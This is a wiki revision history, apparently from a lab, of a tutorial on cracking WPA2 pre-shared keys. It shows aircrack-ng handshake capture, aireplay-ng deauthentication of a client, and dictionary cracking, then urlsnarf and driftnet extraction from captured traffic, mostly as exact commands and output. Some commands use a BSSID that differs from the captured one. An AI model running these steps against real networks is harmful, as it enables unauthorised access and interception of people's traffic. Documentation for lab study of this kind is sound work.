Elvis Wiki - User contributions [en]

WiFi Sniffing

2021-12-19T07:53:02Z

MMehlfuehrer: /* Description */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listening to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionally, one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to be used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The output with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we don't know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Output:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitor mode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher, and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Output:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner, it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured it says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manually. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to a WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needs to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step, the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2: -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The output looks as follows:

[00:00:00] 2 keys tested (36.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-19T07:48:04Z

MMehlfuehrer: /* Summary */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

[00:00:00] 2 keys tested (36.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-19T07:41:43Z

MMehlfuehrer: /* Summary */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

[00:00:00] 2 keys tested (36.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:32:00Z

MMehlfuehrer: /* Description */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
